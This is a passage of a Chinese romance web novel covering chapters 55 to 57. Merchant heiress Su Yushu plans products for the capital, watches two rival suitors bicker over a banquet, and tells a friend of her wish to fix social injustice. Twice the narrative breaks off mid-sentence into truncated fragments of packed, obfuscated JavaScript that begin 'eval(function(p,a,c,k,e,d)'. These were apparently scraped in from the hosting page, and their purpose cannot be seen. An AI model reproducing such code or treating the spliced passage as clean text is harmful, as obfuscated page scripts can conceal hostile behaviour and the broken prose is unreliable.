“大小姐都不怕苦累,我又怎会吃不消呢。上次您来盈字号查账指点,多余的石榴醉的确卖不出去。店里的师傅便想了个办法,用一盒石榴醉化水染布,没想到染出的颜色出奇得好看,胭脂也跟着卖出去不少,这一切还都多亏了大小姐。” 王山目光诚挚,他望向店面的眼神,宛如看着自己的孩子一般。 苏玉淑这才认真地打量起眼前之人,他的眉眼虽不像林长亭那般凌厉逼人,却也温润清秀,透着商人独有的机敏。他是苏家年纪最小的掌柜,仅仅比玉淑大几岁而已。自他接管盈字号以来,凭借灵活的头脑和踏实肯干的品性,硬是把苏家原本不受重视的绸缎庄和水粉铺子经营得风生水起。 如今在师城,只要提及盈字号,人人都知道那是一等一的妆品首饰铺子,王大掌柜的名号更是在商界如雷贯耳。 苏玉淑看着他眼底的光彩,心中满是欣慰:“王掌柜客气了。盈字号能有如今的局面,离不开你的功劳。此次前来,一是想给绿萝和石竹添置些新衣裳,二是我要清点一下货品,看看哪些能带进京城。” 王掌柜听后,赶忙侧身引路:“大小姐请进,前几日刚从江南运来了一批云锦料子,颜色和花样都是当下最流行的,必定能合您的心意。绿萝姑娘和石竹姑娘也请进,我这就派人把最新的料子都取出来,供二位挑选。” 说罢,他便高声吩咐伙计去库房取货,自己则亲自陪着苏玉淑三人往店里走去。 盈字号店内的陈设依旧典雅,货架上整齐地陈列着各色绸缎,空气中弥漫着淡淡的丝线清香,阳光透过高大的木拱窗洒进来,将那些华美的布料映照得更加光彩夺目。 苏玉淑静静地伫立在阳光之下,她今日着装素净,在五彩斑斓、光彩潋滟的布料之中不仅毫不逊色,反而更多了一抹沉静之美。她静静地凝视着这些料子,心中细细盘算着它们的价值与用途,恰似一位在战场上运筹帷幄的将军。 这商场,便是独属于她的战场。 王掌柜一时竟有些看呆了。他从未见过大小姐这般专注的模样,仿佛周围的喧嚣都与她毫无关联,唯有眼前的布料在她眼中闪烁着别样的光彩。平日里那个爱闹爱笑、偶尔还带些小任性的少女,此刻周身竟散发着一种让人不敢轻易去打扰的气场。 他定了定神,轻咳一声:“大小姐,在这批江南云锦当中,有几款是用金线银线交织而成的,用来做冬装最为合适,既保暖又尽显华贵。” 苏玉淑微微颔首,指尖轻轻拂过一匹宝蓝色的云锦,那上面用暗纹绣着缠枝莲,细腻的触感让她不忍用力:“这料子不错,用来做件披风倒是挺合适。” 紧跟在她身后的二人早已被伙计们抱来的一堆料子吸引了目光,绿萝拿起一块米黄色的软绸在身上比划着,兴奋地压低声音说道:“你看这个颜色,多衬我啊!” 石竹则拿起一块淡绿色的料子,仔细端详着上面的绣工:“这个绣花针脚细密,图案也别致。” 苏玉淑看着她们挑选得兴致勃勃,嘴角泛起一抹温柔的笑意。 她努力赚钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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早在杜蕊琴把盐晶交到她手上时,苏玉淑就盘算着将其打造成可售卖的商品。她私下里嘱咐了工匠,取海盐进行炙烤后研磨,再加入玫瑰、玉兰、木芙蓉等几种香料,用珍珠粉调色,经过反复试验和调配比例,终于制成了一种细白如雪、自带清雅香气的“香盐”。 这种香盐不仅能用于沐浴,让肌肤变得细腻光滑,还能作为熏香的底料,点燃时香气悠长,比普通香料更具独特韵味。 此前由于时机不成熟一直未推出市场,如今若带到京城,凭借其新奇的用途和雅致的香气,必定能在京城贵女中引起轰动。 “我差点把这事忘得一干二净!这香盐既独特又实用,京城肯定没有第二家,一定能成为咱们盈字号打入京城的敲门砖。只是这产量……”王山强压下激动的心情,可面上却难掩兴奋,“近期既要赶制簪子,又要研制茉莉花露,恐怕人手不够。” 苏玉淑端起茶盏轻轻抿了一口,从容地笑道:“我已经跟工匠打过招呼了,近期会全力赶制一批,先进行小范围供应,吊足大家的胃口后再逐步增加产量。另外,你让人把库房里积压的那些碎珠宝石都清点出来,我有用。” “是。我定当全力辅佐大小姐。” 如果说苏玉淑是运筹帷幄的将领,那么王山就是她身边最得力的先锋。他对大小姐敏锐的商业嗅觉和临危不乱的魄力,向来深信不疑。 苏玉淑轻捧茶盏,轻轻吹了吹。 望着那歪七扭八升腾的热气,她莫名地浅笑了一下。 她身上总是兼具少女的娇憨与商人的精明,这两种特质在她身上既矛盾又和谐。 王山忍不住将面前的糕点往她那边推了推。是时候结束关于正事的谈话了。 他深吸一口气,尽可能地放柔了语气:“大小姐,我陪您一同前往京城,可好?” “嗯?”她抬起头,那双圆圆的眼睛里满是诧异之色,“你要跟我去京城?那盈字号怎么办?这里才刚刚有了起色,离了你可不行。” 王山身体微微前倾,目光中真挚里还带着几分恳切:“师城的铺子有老伙计们照看着呢,我已经把大小事务都交代得清清楚楚,他们应付得来。京城的情况复杂,您初来乍到,身边总得有个知根知底的人帮衬着处理事务。香盐的配方、簪子的制作,还有后续与工匠的对接,这些事情我得亲自盯着才能放心。再说……” 他停顿了一下,语气里带上了几分哀求之意,“我……我实在不放心您。” “我……” 苏玉淑心下一软,正要点头之际,一道冰冷的声音却从窗口传了过来: “她跟着我,你没什么可担心的。” 55. 第五十五章 “林长亭,有门不走,你偏走窗户干什么?”苏玉淑举着杯子的手僵在了半空,“要是弄坏了,可是要赔钱的。” 他低头翻进屋内,动作潇洒至极。林长亭摸了摸窗棂,笑着说道:“多少钱,我赔给你。” 苏玉淑轻哼一声,将杯子重重搁在桌上,溅出了些许水花:“这雕花窗棂可是通体用黄花梨制成的,你拿什么赔?下次好好走门,幼稚。” 林长亭直起身,掸了掸衣袍上的灰尘,目光扫视着屋内的陈设,最后落在她微带愠色的脸上:“我幼稚?那你满地吐梅子核的时候又算什么?” “你!”苏玉淑气得狠狠瞪了他一眼,“你有什么事快说,别耽误我做生意。” “不是你派人去请我来吃午饭的吗?怎么,翻脸不认人了?”他自来熟地坐在两人中间,“王掌柜,不介意我坐这儿吧?” 王掌柜依旧挂着那一贯和蔼的笑容,他为林长亭斟上一杯茶:“御史大人大驾光临,小店真是蓬荜生辉。林大人,请品尝小店最好的茶。” 望着面前那氤氲着热气、清亮澄澈的茶汤,林长亭只觉胸口憋闷不已。他一听说苏玉淑在盈字号便快马加鞭地赶了过来,谁知还是晚了一步,让这王掌柜与她单独相处了一段时间。早在樊城的时候,他就看这人不顺眼了。 这王掌柜与他年龄相仿,一双眼睛好似粘在了苏玉淑身上,谁看不出他那点心思呢。 “刚刚都说了些什么?”他强压下愠怒的情绪,脸上依旧挂着笑容,然而目光却如寒冰般扫向王掌柜。 王掌柜脸上的笑容未变,端起茶杯轻轻抿了一口,不紧不慢地说道:“我与大小姐只是闲聊了些生意上的事情,毕竟盈字号是我们苏家的重要事务,容不得半点马虎。” 他特意将“我们苏家”这四个字说得很重。林长亭不禁侧目,他甚至能听见自己后槽牙咬得咯咯作响: “王掌柜可真是尽职尽责啊。” 苏玉淑在一旁聆听,眉头微微蹙起。她总感觉林长亭今日的火气异常大,就和吃了枪药似的。仅仅是自己与王掌柜多交谈了几句,竟引得他这般盘查。她刚欲开口缓和气氛,却见林长亭将手中的茶杯重重放在桌上,杯底与桌面碰撞,发出清脆声响,茶汤也随之晃动起来。 王掌柜脸上的笑容终于收敛了几分,他放下茶杯,不卑不亢地直视着林长亭说道: “林大人不必担忧,我身为苏家的大掌柜,无论是生意上的事务,还是大小姐的事情,都绝不会有丝毫懈怠。还望林大人放宽心,毕竟您身为御史大人,需要操心的事情远不止苏家这一桩。还是应以要紧公务为重,当好百姓们的父母官才是。” 这话宛如一根利针,精准无误地刺中了林长亭的痛处。私盐一案的余波尚未平息,他的确是借着公务的由头溜出来的。林长亭的脸色瞬间阴沉下来,他的手在桌下紧紧攥成拳头,指节都泛出了白色。但他脸上依旧挂着那副笑面虎的模样,声音不紧不慢: “有辅佐之心固然是好事,可王掌柜既然在苏家当差,就应当恪守本分,莫要忘记主仆有别,更别痴心妄想不属于自己的东西。否则,到时候可别怪我这个外人,替苏家清理门户。” 眼见王掌柜又要开口回应,苏玉淑实在看不下去了。她早已受够了这两个男人毫无意义的唇枪舌剑,索性猛地推了一把托盘,溅起的茶水瞬间打湿了两人的袖口。 “哎呀,我不是故意的。” “无妨,即便大小姐是有意为之,我也甘愿承受。”王掌柜不仅未动怒,反倒轻轻拢了拢袖口,看上去竟还有几分欢喜。 林长亭索性站起身来,打算眼不见心不烦:“玉淑,时候不早了,咱们去闻香楼。” 谁知王掌柜紧接着站起身来,说道:“大小姐,我猜您是想去闻香楼品尝那十六碟佳肴。不过,闻香楼若不提前预订,可是吃不上的。” “那可如何是好?”她有些气馁,一转身赶忙跑到楼下,抓住正在挑选料子的石竹问道:“你有没有派人去闻香楼预订房间呀?” 石竹神情一怔,连忙说道:“没……没听说要提前预订啊……” 王掌柜站在楼梯口,胸有成竹地笑道:“大小姐不必惊慌,我与闻香楼掌柜相熟,只需打个招呼便可。” “真的吗?”苏玉淑顿时两眼放光,“那王掌柜和我们一同去吧?” 林长亭简直被她气得七窍生烟。他身为堂堂御史大人,去吃个饭怎会被拒之门外?为何一涉及吃的,她就总是犯糊涂!但话已出口,覆水难收,几个人已经兴高采烈地往外走去,他除了跟上也别无他法。 偏偏这个王掌柜还回首得意地笑了一下,他满心的憋闷更是无处发泄。 他气冲冲地回过头去找叶荣,大不了这顿饭他不吃了就是。可他刚转过身,一阵冰凉的触感便传到了手中—— 苏玉淑笑盈盈地拉住他的手:“林长亭,去吃好吃的啦!” “好。”他还没反应过来就重重地点了点头,“走。” “绿萝石竹,我们在街上逛一逛如何?我看时间还早,看看有没有有意思的小玩意儿。” “好呀好呀,都听小姐的。” 三个人手挽着手,如同儿时一般嬉笑着漫步在街道上。秋日的阳光洒落在苏玉淑的发梢,为其镀上一层柔和的金边。她脚步轻快,俏皮的步伐使得冠上的玉珠叮当作响。 三人叽叽喳喳地讨论着街边小贩摊上的泥人,又在糖画摊前驻足,看着老师傅用融化的糖汁画出栩栩如生的龙凤,飘来的桂花糕香气引得几人脚步迟缓,不住地回头张望。 苏玉淑眼尖,瞥见街角有个卖绒花的摊位,立刻拉着绿萝和石竹跑了过去。她纤细的手指在各色绒花间轻轻拂过,宛如一只精心挑选居所的蝴蝶。林长亭被甩在后面几步远,他远远望着她的笑颜,方才满肚子的火气竟如同被这秋日暖阳晒化了一般,悄然散去了大半。 他无奈地叹了口气,目光却不由自主地追随着她的身影,连王掌柜何时走到自己身侧都未曾察觉。 “老板,这个、这个,还有这个,一共多少钱呀?” 苏玉淑选中了一支粉白渐变的绒桃花簪、一对鹅黄绒球耳坠,还有一支缀着水晶的绒蝶步摇。她将选好的绒花推到摊主面前,眉眼弯弯地等着报价。她冠上的几颗珍珠随着她歪头的动作轻轻晃动,映着阳光,晃得林长亭心底发痒。 “姑娘,您眼光真好。这三支都是时兴的花样,你们戴上肯定特别好看!我这绒花原本是八十文一朵,你若喜欢,二百二十文拿走便是。” 她在阳光下仔细端详着,虽说只是个小摊子,但扎绒花的手艺十分精湛,样子也着实精巧。 “好,我都要啦!”普通人户生活不易,苏玉淑答应得十分爽快。她伸手向腰间,想要取下自己的荷包,却摸了个空。 她瞬间神色大变,猛然想起昨日换上华服时便已将荷包取下,之后再未系上。 她尴尬地笑笑:“绿萝,拿钱。” “是,小姐。” “我来付吧。”林长亭打断了绿萝的动作,挤到了苏玉淑身边。他身形本就高大,小小的摊子竟被他的身影挡得严严实实。他俯下身子,在绒花堆里精心挑选出一朵—— 那是一朵正红色的绒牡丹,花瓣层层叠叠,边缘还微微泛着光泽,看上去比苏玉淑手中的粉白绒花更添了几分艳丽。他将那朵绒牡丹插到苏玉淑发间,指尖不经意间擦过她的耳廓,惹得她微微一颤。 “这支配你,才好看。”他的语气中带着几分不容置疑的笃定,说罢便从袖中掏出碎银子递给摊主,“这些,连同她选的那些,都一并算上。” 苏玉淑心中莫名泛起一阵悸动。她下意识地抬手摸了摸发间的绒牡丹,指尖触及那柔软的绒面和微微凸起的花瓣纹理,脸颊竟有些发烫。 “我可不 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二人的背影是那样的刺眼,刚才苏玉淑挑选绒花时那明媚的笑靥,此刻在他脑海中不断闪现,与林长亭为她簪花时的亲昵画面交织在一起,宛如一根细密的针,扎得他心口生疼。他深吸一口气,大步跟了上去,可苦涩的滋味从眼底蔓延至心底。 自己与她之间,相隔的从来不止是主仆之别,更是她望向林长亭时,眼中那连她自己都未曾发觉的悄然绽放的光芒。 他与大小姐共事多年,情谊深厚,却从未有过与她如此亲密的想法,怎料竟让这林长亭占了先机! 他对大小姐一片赤诚真心,又怎能眼睁睁看着她投入他人怀抱?他们必定要一同前往京城,倘若只剩自己被留下…… 就像那时一样。 被抛弃的恐惧瞬间攫住他的心脏,无论如何,他都要追上去。 只要不被大小姐抛下。 闻香楼内热闹非凡、人声鼎沸,苏玉淑刚一迈进门槛,目光便被这满堂的热闹景象吸引。雕梁画栋的雅间分列两侧,伙计们手托托盘在其间往来穿梭,高声吆喝着菜名,空气中弥漫着糖醋的香甜与酱肉的醇厚香气。 王掌柜熟门熟路地领着众人往二楼靠窗的雅座走去,边走边笑着说:“这家闻香楼最擅长做江南菜,尤其是十六碟里的那道‘醉蟹’,用的是固城湖头茬蟹,酒香浸透蟹肉,入口即化,大小姐您肯定喜欢。” 苏玉淑听得眉飞色舞,脚步也轻快了几分:“你们几个走快点呀,一会儿上菜该慢了!” 雅间内早已备好了茶水和点心,王掌柜将菜单递到苏玉淑面前介绍道:“大小姐,十六碟包含了闻香楼最出名的十六道菜,除了日常的松鼠鳜鱼、龙井虾仁等名菜,还可以自选三道甜点和酒酿。” 苏玉淑接过菜单,指尖轻轻划过纸面,眼神亮晶晶的。林长亭在她身旁坐下,看似不经意地将手肘搭在桌沿,却恰好挡住了王掌柜看向她的目光。 “我要桂花米酿、滴酥和琥珀蜜!”她一口气选好了爱吃的,这才像突然想起什么似的抬头问林长亭:“你想吃什么?要不要再加点?” 林长亭望着她被热茶熏得微红的脸颊,只觉得喉头有些发紧。他偏过头随口回应道:“你点的,我都喜欢。” “你若不加的话,那就安安心心等着上菜吧!事先说好,今日绿萝和石竹要与我们在同一张桌子用饭,你们谁都不许赶她们走。” 绿萝和石竹相互对视一眼,赶忙摆手说道:“小姐,这不符合规矩……” 苏玉淑却不依不饶,将筷子往桌上一拍:“在我这儿,规矩由我来定。况且你们陪我逛了一上午,早就该一同用餐。” “今日可不只是她们两个要留在桌上……”林长亭突然神神秘秘地压低了声音,“要不你来猜猜看,还有谁会来呢?” 她眼睛一眨一眨,还没等她说出答案,几道身影便出现在了门口—— “大小姐,我来了。” 56. 第五十六章 “鸩!你怎么来了!难得林长亭那家伙给你放假!”苏玉淑又惊又喜,连忙将她拉到席间。绿萝和石竹也开心地给鸩让出位置。鸩挤在三人中间,拘谨地笑了笑。 “少爷说你肯定盼着我来,所以……” “这么说,我们俩也跟着沾光啦!” 叶英和叶荣大大咧咧地从门后探出头,接着两人神神秘秘地从后面抱出一个箱子:“大小姐,我们少爷给你准备了份大礼,你肯定喜欢!” 苏玉淑伸手就要去打开箱子:“是什么呀?” “诶!那可不行!”叶英眼疾手快地躲开她的手,“少爷交代了,得吃完饭才能给你。要是你拿到手就把我俩赶出去,不给饭吃可咋办!” “你把我苏玉淑当成什么人了,我是那么小气的人吗?”她翻了个白眼,紧紧挽住鸩的胳膊,“回去把他俩揍一顿!” “好的。” 叶荣扁扁嘴,故作娇柔地倒在林长亭的脚边:“少爷你看她啊,什么都听苏大小姐的,你快管管啊!” 林长亭嫌弃地挪开了腿:“等我回去揍你。” “不要啊少爷!” 笑声刹那间弥漫了整个屋子,就连窗外飘零的落叶仿佛都沾染了几分暖意。苏玉淑被这热闹欢快的气氛逗得眉开眼笑,转头朝着叶英和叶荣扬了扬下巴说道: “算你们有眼力见儿,先吃饭就先吃饭,我倒要瞧瞧你们家少爷这次又耍什么花样。” 响亮的报菜声从楼梯处远远传来,走廊里顿时响起“窸窸窣窣”的走动声响。几人赶忙端正坐好——原来是传菜的堂倌要进来了。 “客官——十六碟来咯——” 这边几人的身份,闻香楼的掌柜心里明镜似的。他亲自领着十六个小倌儿在包厢门口一字排开,脸上堆满了笑容: “客官,请用餐——” 十几个托盘如流水般送进包间,白玉盘里盛放的菜肴色泽鲜艳,热气袅袅中,香气迫不及待地钻进众人的鼻腔。冷瓷碟颜色虽深,可上面的芡汁却闪烁着晶莹的光泽,让人看了不禁食欲大增。 “梅渍冰藕、水晶蹄脍、糟香鸭信、松鼠鳜鱼、蟹酿仙家酒、山家三脆、群仙羹、酒蒸羊羔、龙井虾仁、鹅鲊、莲房鱼包、梅花汤饼、酥琼叶——还有您挑选的三道糕点,请各位客官慢用——” 这几道菜肴,莫说是在师城,就算到了京城,那也是最顶尖的佳肴了。王掌柜偷偷瞥了一眼苏玉淑,此时的她不知为何已不像刚才那般欢喜,笑容收敛了些许,只是勉强挂在嘴角。 “大小姐,林大人,今日您二位是贵客,还请先动筷吧。” 苏玉淑听到这话,宛如从大梦中惊醒,她朝着王掌柜回以微笑,而后举起酒杯: “今日能与诸位欢聚于此,实在是难能可贵。这杯酒,敬各位的盛情款待,敬我们的深厚友谊,更敬我们今后的前途无量。”言罢,她轻轻抿了一口杯中酒。 她伸手拿起桌上的筷子,夹起一块晶莹剔透的琥珀蜜,递到绿萝面前:“快尝尝,我记得你以前可喜欢吃这个了。石竹,你也吃点儿。鸩,你不喜欢太甜的,来试试这个。” 鸩接过藕片,轻轻咬了一小口,清甜的香气瞬间在舌尖弥漫,让她原本紧绷的神经渐渐松弛下来。叶英和叶荣在一旁你一句我一句地分享着路上遇到的趣事,逗得众人时不时发出阵阵欢快的笑声,整个席间的气氛愈发融洽。 这样美好的氛围,林长亭许久未曾感受过了。他记不清从何时起,自己已然习惯了独自用餐、独自习武、独自读书,独自扛起那足以压垮人的沉重责任。他望着眼前众人推杯换盏的热闹场景,听着苏玉淑清脆悦耳的笑声,他那一贯冷漠疏离的神情竟也不自觉地柔和了几分。 他默默端起酒盏,将杯中酒一饮而尽。 “林大人怎么自己偷偷喝酒呀,也不带上我们。” 一盏小巧的酒杯突然出现在他面前,苏玉淑站起身来,隔着桌子远远地伸出手,说道:“你可别想撇开我们。” 众人纷纷效仿着举起酒杯,就连王掌柜也迟疑地朝他笑了笑。 林长亭微微一怔,有些僵硬地举起了酒杯。 他从未在饭桌上向别人敬酒。一来是心有不愿,二来是他人不配。 可面对这几张笑盈盈的脸,林长亭无论如何也狠不下心拒绝。 他的手指微微蜷缩了一下,最终还是稳稳地握住了杯柄。他站起身,将酒杯轻轻与苏玉淑的杯子相碰,发出一声清脆的碰撞声。 他仿佛回到了那个白瓷相碰的夜晚,口中竟不自觉地吐出两个字: “……千岁。” 众人讶异地张大了嘴巴,继而欢笑着一同将杯子高高举起——“千岁!” 清脆的碰杯声此起彼伏,在包间里回荡,交织成一曲惬意的乐章。叶英正夹起一块松鼠鳜鱼往嘴里送,不料筷子一歪,溅起的汤汁弄脏了绿萝的裙角。 她毫不留情地赏了他一拳,疼得他龇牙咧嘴,却只能默默忍受,不敢发出半点声响。鸩低着头,拨弄着碗里石竹为她夹满的菜,眼角的余光却始终留意着门窗不敢有丝毫懈怠。 苏玉淑似乎食欲欠佳。她只是自顾自地夹着面前那盘脆笋,眼神也有些呆滞。王山率先察觉到她的异样,还以为是面前的菜肴不合她的口味。他换了双筷子,夹起一大块蟹膏放到她面前,说道: “大小姐,尝尝这固城蟹,您从小就爱吃海鲜,这蟹膏必定合您的口味。” 她微微一笑,乖巧地接过蟹膏放在自己面前。还没等她动筷子,两个硕大的虾仁却又凭空出现。 苏玉淑呆呆地抬起头,正好对上林长亭似笑非笑的脸庞:“我记得你也挺爱吃虾仁的,尝尝吧。” 又来了。又来了! 苏玉淑深吸一口气,歪着头看了看眼中冒火的林长亭和笑似狐狸的王掌柜,又对上旁边五双看热闹的目光,脸颊“腾”地一下红了。她竖起食指,点了点这两个不让人省心的家伙: “好好好,真是好啊!” 她夹起虾仁放进嘴里,嚼了两下便囫囵吞下,接着又把蟹膏送入口中,最后猛灌一口米酿,气呼呼地转身朝大门走去。 “你去哪儿?” “我!吃!饱!了!”苏玉淑不忘狠狠瞪了林长亭一眼,“我去杜家,你别跟着我!还有你们俩!敢再偷看,我就揪了你们的脑袋!” 突然被吼的叶家兄弟吓得脖子一缩,像两只小鸡崽似的疯狂点头。 苏玉淑的身影消失在了门外,走廊里传来她渐行渐远的脚步声。包间内的喧闹仿佛顷刻间被抽走了大半,叶英和叶荣面面相觑,脸上的笑容微微一僵。 叶荣小心翼翼地戳了戳林长亭的胳膊:“少爷,大小姐她……真生气了?要不我去追追?” “不必。”他转向王掌柜,“王掌柜,吃菜。” “林大人也是,听闻您还有旧伤,多吃些,好得快。” 鸩刚张了张嘴,还没来得及说什么,就被塞进了一块肉。绿萝和石竹暗暗摇头,她们可不想卷入这两个男人莫名其妙的争风吃醋中。 “所以……这就是你跑到我这儿来大快朵颐的缘由啊?”杜蕊琴望着左手拿着蜜柚、右手握着山楂糕的苏玉淑,又好气又好笑,“你吃慢点儿,后厨正在给你做新菜呢。” “姐姐,你是不知道,那两个人又多烦人,活像两只斗鸡,一见面就巴不得掐死对方。”她干脆翘起了二郎腿,“明明之前都不是这样的,自打从樊城回来,他俩就没一个正常的。” 自从杜蕊华自尽之后,杜家已经许久未曾有过热闹的景象了。苏玉淑的到来,宛如一股清泉注入了这沉寂的庭院。杜蕊琴看着她毫无顾忌地大快朵颐,忍不住伸手轻轻拂去她嘴角的糕屑,轻声说道: “你呀……什么时候才能明白呢……” 苏玉淑嘴里塞得满满当当,含含糊糊地嘟囔着:“明白什么呀,明明马上就要进京了,那两个人还总是因为一些小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这是什么?”杜蕊琴满是狐疑地打开软木塞,刹那间,茉莉香味扑鼻而来,“好香的花露啊。” “这便是我跟你说过的,准备‘杀’进京城的宝贝。” 杜蕊琴轻扇着瓶口,仔细地嗅闻着:“这香味清幽,回味绵长。甜而不腻,当真是一瓶好香。只是……” 苏玉淑惊喜地瞪大双眼:“姐姐,你也察觉到了?” “你哪里是来谢我,分明是想让我给你当女诸葛嘛!”她哂笑一声,合上塞子,接着转身朝屋外吩咐道:“翡翠,取纸笔来。” 苏玉淑一脸不解:“姐姐,你这是要……” “要想制出好香,得知晓香材的特性以及时节的变化。你这三道露虽然香气不俗,却少了几分独特的韵味。若想在京城站稳脚跟,还得在香方的层次和意境上多用心。你这香气倒是充足,可香韵却欠佳。” 杜蕊琴摊开宣纸,写下几行隽秀的小楷:“去让你家的调香师傅试试加入这几味香料,或许会有奇效。” “龙脑香、沉香、荷叶……”苏玉淑皱了皱眉头,“姐姐,这几味我都明白,只是为何要加兰花进去呢?这岂不是会和茉莉争味?” “市面上的花露大多用单一花型制成,可茉莉作为主调不免显得太过清冷,容易让人有残缺破败的感觉。加入少许兰花,或许能增添甜香,而且兰花的香气更为悠远,留存时间也更长,二者相辅相成,或许会有奇效。” 苏玉淑宛如一个得到宝贝的孩童,小心翼翼地将秘方叠好塞进怀里:“谢谢姐姐,姐姐真好!” 不知为何,杜蕊琴总是对她格外包容。她有着闯荡的性情和不服输的干劲,换作其他人家的孩子,哪里会有她这般胆识与魄力。在她身上,自己总能看到别样的可能。 苏玉淑可以是山川,是日月,更是偏要和汪洋较一较劲的蝴蝶。 “你呀,现在开心了吧?” 可苏玉淑却轻轻摇了摇头。午后的阳光温暖宜人,然而她的眼神中却透着几分与她年纪不符的苍凉:“姐姐,实不相瞒,我心里不痛快。” “这是怎么回事?是有人惹你生气了吗?” “不是,这和任何人都没有关系。”她平日里极少叹气,此刻却忍不住长叹一声。 杜蕊琴亲手为她斟满一杯热茶,眉眼温柔地轻轻拍了拍苏玉淑的手: “你有什么就说吧,我愿意听。” 57. 第五十七章 苏玉淑轻轻摘下自己发间的那朵红牡丹。 暖阳映照下,花瓣红如鲜血,花蕊正中的丝线泛着浅金色的光泽。她将花递到杜蕊琴手边,轻声问道:“姐姐,你可知道这一朵绒花价值几何?” “按市面价格,不过百文而已。” “正是如此。”她苦笑着轻叹一声,“姐姐,你又可知道今日在闻香楼的这一宴,花费了几两银子?” “若是十六碟菜品,再加上厢房的酒水,想来要有二十两了。” “姐姐不愧是从商之人,这价格一猜便准。” 杜蕊琴不禁皱了眉头:“这又怎么了?” “在今天之前我也不觉得有什么。可我今天突然意识到,这二十两于我们来说不过是一顿饭钱,不过是几盒妆品,甚至买不了父兄的一壶陈酿。可这二十两却够普通人家多久的用度呢?” “可……咱们祖上也是白手起家,钱财并非凭空得来的……” “这正是让我憋屈的地方。”苏玉淑神情严肃地说道,“祖上打下基业着实不易,我们自然要守护好这份家产。但这些普通人家又该如何才能让日子不那么艰难窘迫呢? 方才我在院外看到一个卖柴炭的老妇人,在风口里站了一个时辰,鬓角都白了一片,一斤炭火只卖四十文,却始终无人问津。我们守着祖业,过着锦衣玉食的生活,可那些比我们勤劳得多的人,为何连安稳过日子都这般困难?” 杜蕊琴不理解她为何突然生出这种不切实际的念头。生在高门大户是多少人梦寐以求的事,她们虽说不算世家门阀,但也衣食无忧,何必为不相干的人伤感。 这世道本就如此,哪有真正的公平可言。 “我知道姐姐心中存有疑惑,我也是去了樊城走了这一遭才萌生了这个念头。如今权贵当道,普通门户哪还有出头的机会。这银钱,到底是我们守护祖辈荣耀的依仗,还是割裂这个世道的一道高墙呢?” “妹妹,咱们不过是有点钱的普通人家罢了。”杜蕊琴苦笑着说道,“你觉得咱们占了他们的便宜,可咱们头上又何尝不是压着一群人呢!士农工商,咱们这商人本就是最末等的行当,咱们也是得仰人鼻息,整日提心吊胆地过日子啊!” “我明白,我都明白。正因为明白……才觉得痛苦,难以接受。”她的眼神瞬间黯淡下去,不过很快又重新燃起了希望之光,“所以……我不打算再这样忍下去了。 如今的世道并非一朝一夕形成的,无论是改朝换代,亦或是皇帝更迭,都无法使其改变。或许这听起来像是痴人说梦……但我必定要亲手改变这一切,哪怕仅仅是为了我心底那一丝正义。” 杜蕊琴仿佛从未认识过眼前这个女孩。 她的声音轻柔得如同落叶飘落的细微声响,却又振聋发聩。杜蕊琴咽了咽口水,眼眶竟微微湿润。 她用力握住她的手,一股无声的力量自彼此的指尖蔓延,直达心脏。 “商场如战场,朝堂之事姐姐并不懂,但想来只怕更为凶险。玉淑……无论如何你要记住,万事都要以自己为重,千万别让自己陷入危险境地,好吗?” 苏玉淑轻轻回握:“姐姐,我答应你。” 秋日的午后总是过得飞快,金色的阳光渐渐斜斜地穿过窗棂,在青砖地上投下斑驳的光影。庭院里的梧桐叶被风吹得沙沙作响,几片枯黄的叶子乘风飘落。 雨季结束了。 苏玉鸿驾车来接时,他那可爱的妹妹已经在杜蕊琴的闺房里睡得正香。他不好意思地站在院门处,温厚的脸上满是歉意: “杜小姐,实在不好意思,玉淑被我宠坏了,太没规矩了。我回去一定好好教导她,多谢您的悉心照顾。” “您这说的哪里话。我还要感谢她来陪我呢。”她捂面轻笑,“只是晚上要少给她吃些零食了,这一下午她的小嘴就没停过。” “是,是……她在家里向来就不安分,我回去后便派人送些甜点蜜饯过来,权当向您赔礼道歉……” 他的脸上浮现出一丝羞赧之色。虽说小时候就总给苏玉淑收拾烂摊子,但她都这么大了,还因为吃零食被人告状,着实让他脸上无光。 杜蕊琴笑得愈发灿烂了些:“大少爷,我哪里是这个意思呀。你我……苏家与杜家之间,不必如此见外。” 苏玉鸿微微一怔,只见面前之人巧笑嫣然,那双眼睛好似有流光婉转,映衬着秋日的天光格外动人。他平日里应对生意伙伴时的从容,此刻竟消失得无影无踪,只是讷讷地说道: “是……是在下唐突了。” “哥……你怎么来了?”苏玉淑揉着眼睛走了出来,脸上还留着衣服压出的红痕。 他赶忙拉住她的胳膊,声音里多了一丝愠怒:“你怎么能在人家房间里睡觉呢!快回家,父亲叫你回去吃晚饭。” “一定要一起吃吗?” “苏玉淑。” “知道了……”她扁扁嘴,她这哥哥虽然平时脾气好,但一旦叫她大名,那就是快要生气了。苏玉淑摇了摇杜蕊琴的袖子,粲然一笑:“姐姐,那你下次来找我玩!” “快去吧。”杜蕊琴拍了拍她的肩膀,眼神有意无意地飘向一旁的苏玉鸿,“有时间再来找我。” 夕阳的余晖将天边染成了一片绚烂的橘红色,南飞的鸟儿掠过黛色的屋檐,留下几声喑哑的啼鸣。 马车行驶在青石板路上,被车轮碾过的落叶仿佛正切割着霞光。苏玉淑靠在车厢壁上,睡意已消去了大半,她托着腮帮子,望着窗外飞速掠过的街景一时心绪繁杂: “哥,爹怎么突然叫我回去?他不是向来不喜欢和我一起吃饭吗?” “这不是你刚从樊城回来,他也有不少事要问你。而且……父亲还是挂念你的。” “是吗。”她原本对今天的晚宴没抱什么期望,可哥哥的话却让她想起了那幅场景—— 秋风瑟瑟,父亲就这么孤零零地站在自己的院门口。 他也到了脊背有些许佝偻的年纪了吧?晚风会吹得他腿疼吗?经历了这些,他应该会理解自己了吧。 不然怎么会叫自己回去一起吃饭呢。 “玉淑,一会儿别意气用事。父亲只是担心你,并非不爱你。哪有父母不疼女儿的呢?”苏玉鸿帮她理了理头发,“这朵绒花真好看,我妹妹眼光就是好。” 林长亭那张有些讨人厌的脸突然浮现在她的脑海,苏玉淑轻轻摩挲着红牡丹上的绒线,指尖传来细腻的触感。 她轻声一笑,对着哥哥点头说道:“哥,我会懂事的。” 